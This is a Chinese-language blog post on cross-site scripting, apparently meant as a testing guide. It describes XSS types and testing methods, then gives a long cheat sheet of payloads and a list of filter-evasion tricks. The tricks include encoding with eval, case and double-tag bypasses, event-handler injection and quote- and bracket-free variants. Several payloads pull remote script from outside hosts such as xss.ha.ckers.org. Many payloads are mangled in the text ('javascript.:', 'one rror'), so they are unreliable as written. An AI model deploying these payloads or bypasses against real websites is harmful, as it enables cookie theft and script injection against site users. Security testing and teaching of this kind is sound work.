一、XSS分类
第一种:反射型
页面仅把用户输入直接回显在页面或源码中,需要诱使用户点击才能成功。
第二种:持久型
XSS 攻击代码会被存储在服务器中,由于用户可能会主动浏览被攻击页面,此种方法危害较大。
第三种:DOM 型( DOM Based XSS )
通过修改页面的 DOM 节点形成 XSS,严格来讲也可划为反射型 XSS。
二、如何测试XSS漏洞
方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
方法二: 准备测试脚本
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 比如 burp xssvalidator ,钓鱼利用平台:beef,xssPlatform
三、常用测试语句
<script>alert('hello,gaga!');</script> //经典语句,哈哈! >"'><img src="javascript.:alert('XSS')"> >"'><script>alert('XSS')</script> <table background='javascript.:alert(([code])'></table> <object type=text/html data='javascript.:alert(([code]);'></object> "+alert('XSS')+" '><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <script>alert('Vulnerable')</script> a.jsp/<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> <IMG SRC="javascript.:alert('XSS');"> <IMG src="/javascript.:alert"('XSS')> <IMG src="/JaVaScRiPt.:alert"('XSS')> <IMG src="/JaVaScRiPt.:alert"("XSS")> <IMG SRC="jav ascript.:alert('XSS');"> <IMG SRC="jav ascript.:alert('XSS');"> <IMG SRC="jav ascript.:alert('XSS');"> "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out <IMG SRC=" javascript.:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript.:alert('XSS')"> <BODY onl oad=alert('XSS')> <IMG DYNSRC="javascript.:alert('XSS')"> <IMG LOWSRC="javascript.:alert('XSS')"> <BGSOUND SRC="javascript.:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet"HREF="javascript.:alert('XSS');"> <IMG SRC='vbscript.:msgbox("XSS")'> <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');"> <IFRAME. src="/javascript.:alert"('XSS')></IFRAME> <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript.:alert('XSS')"> <DIV STYLE="background-image: url(javascript.:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE. TYPE="text/javascript">alert('XSS');</STYLE> <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE> <BASE HREF="javascript.:alert('XSS');//"> getURL("javascript.:alert('XSS')") a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascript.:alert('XSS');"> "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> <IMG SRC="javascript.:alert('XSS')" <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
四、常见绕过方法
1、大小写绕过
当网站仅过滤<script>或者<img>等标签,而没有考虑标签中的大小写并不影响浏览器的解析所致。如:
<sCript>alert("hey!")</scRipt>
<IMG SRC=JaVaScRiPt:alert('XSS')>
2、只过滤一个标签
例如:双写,让过滤完script标签后的语句中还有script标签
<sCri<script>pt>alert("hey!")</scRi</script>pt>
3、编码脚本代码绕过关键字过滤
当服务器对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,所以可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行。
例如alert(1)Unicode编码过后就是:
\u0061\u006c\u0065\u0072\u0074(1)
所以构建出来的攻击语句如下:
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
同理还可以使用诸如url编码、Ascii码、base64、十六进制、八进制绕过等。
4、主动闭合标签实现注入代码
如以下两个例子:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
";alert("I am coming again~");"
5、其他标签注入代码
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
//当用户鼠标移动时即可运行代码
<div onm ouseover=‘do something here’>
//当用户鼠标在这个块上面时即可运行,可以配合weight等参数将div覆盖页面
<img src='k.7' one rror='alert("hey!")'>
//指定的图片地址不存在,即一定会发生错误,这时执行onerror里面的代码进行弹窗
6、字符拼接
<img src="x" one rror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> //利用eval
<script>top["al"+"ert"](`xss`);</script> //利用top
7、过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
8、过滤单引号、双引号
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。
<img src="x" one rror=alert(`xss`);>
9、过滤url地址
1)编码绕过
2)html标签中用 // 可以代替 http://
<img src="x" one rror=document.location=`//www.baidu.com`>
3)使用\\
在 windows下 \ 本身就有特殊用途,是一个 path 的写法,所以 \\ 在 Windows 下是 file协议,在 linux 下才是当前域的协议。
标签:语句,XSS,xss,标签,alert,过滤,测试 From: https://www.cnblogs.com/xfbk/p/17936998